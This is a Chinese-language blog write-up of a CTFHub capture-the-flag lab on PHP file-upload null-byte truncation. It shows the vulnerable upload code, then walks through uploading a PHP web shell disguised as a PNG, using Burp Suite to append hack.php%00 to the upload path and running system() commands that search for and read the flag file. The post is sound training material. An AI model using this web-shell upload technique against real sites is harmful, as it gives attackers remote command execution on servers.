php文件上传00截断
目录
0x00
,%00
,/00
之类的截断,本质都是一样的,只是不同的表示形式而已。就比如女朋友、女票。
在网站url
中,%00
会被解码成0,而在ascii
中,0是一个特殊字符(并不是字符'0'
),表示字符串结束,因此如果url
中出现了%00
,则意味着解码完毕。
如:
https://www.yalexin/?file=test.txt
此时输出的是test.txt
如果换成:
https://www.yalexin/?file=test.php%00.txt
则此时输出的是test.php
让我们来看一道例题:
打开场景后是一个上传文件的页面,查看源代码如下:
<script>alert('上传成功')</script><!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>CTFHub 文件上传 - 00截断</title>
</head>
<body>
<h1>CTFHub 文件上传 - 00截断</h1>
<form action=?road=/var/www/html/upload/ method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
<!--
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$info = pathinfo($name);
$ext = $info['extension'];
$whitelist = array("jpg", "png", "gif");
if (in_array($ext, $whitelist)) {
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
echo "<script>alert('上传成功')</script>";
} else {
echo "<script>alert('上传失败')</script>";
}
} else {
echo "文件类型不匹配";
}
}
-->
</body>
</html>
可以看到源代码中,先是看一下文件的类型是不是在白名单内(即只能上传图片类型),文件类型通过以后,解析road
参数值,然后拼接到一个随机数字以及日期作为文件名并上传到指定目录。
经过简单地分析以后,大概知道了思路:使用代理,写一个php
脚本,将其扩展名改为图片类型,然后截取数据包、修改数据包,访问我们上传的脚本。
首先查找flag
可能的位置:
<?php
system('find / | grep flag')
?>
将其文件保存为hack.png
然后开启代理,打开Burp Suite
软件,并将拦截器(intercept
)打开
在浏览器中上传我们刚刚的hack.png
然后我们会在Burp
中看到该数据报,我们尝试将
POST /?road=/var/www/html/upload/ HTTP/1.1
改为:
POST /?road=/var/www/html/upload/hack.php%00 HTTP/1.1
然后点击forward
上传成功以后,我们访问该脚本:
/upload/hack.php
果然看到了一些内容:
/sys/devices/platform/serial8250/tty/ttyS0/flags /sys/devices/platform/serial8250/tty/ttyS1/flags /sys/devices/pci0000:00/0000:00:03.0/virtio0/net/eth0/flags /sys/devices/virtual/net/lo/flags /sys/devices/virtual/net/dummy0/flags /sys/module/scsi_mod/parameters/default_dev_flags /proc/kpageflags /usr/lib/perl/5.14.2/auto/POSIX/SigAction/flags.al /usr/lib/perl/5.14.2/bits/waitflags.ph /var/www/html/flag_139938352.php
最后的就是我们想要的内容。要读取该文件。
修改我们的脚本hack.php
<?php
system('cat ../flag_139938352.php')//注意,该脚本最终会上传到/var/www/html/upload 文件夹下,因此要回到上一级目录读取 flag
?>
按照刚刚的方法继续上传即可读取该内容(注意:我们访问hack.php的时候会遇到空白页面,右键查看源码即可看到flag
)。
本文由「黄阿信」创作,创作不易,请多支持。
如果您觉得本文写得不错,那就点一下「赞赏」请我喝杯咖啡~
商业转载请联系作者获得授权,非商业转载请附上原文出处及本链接。
关注公众号,获取最新动态!
历史评论
开始评论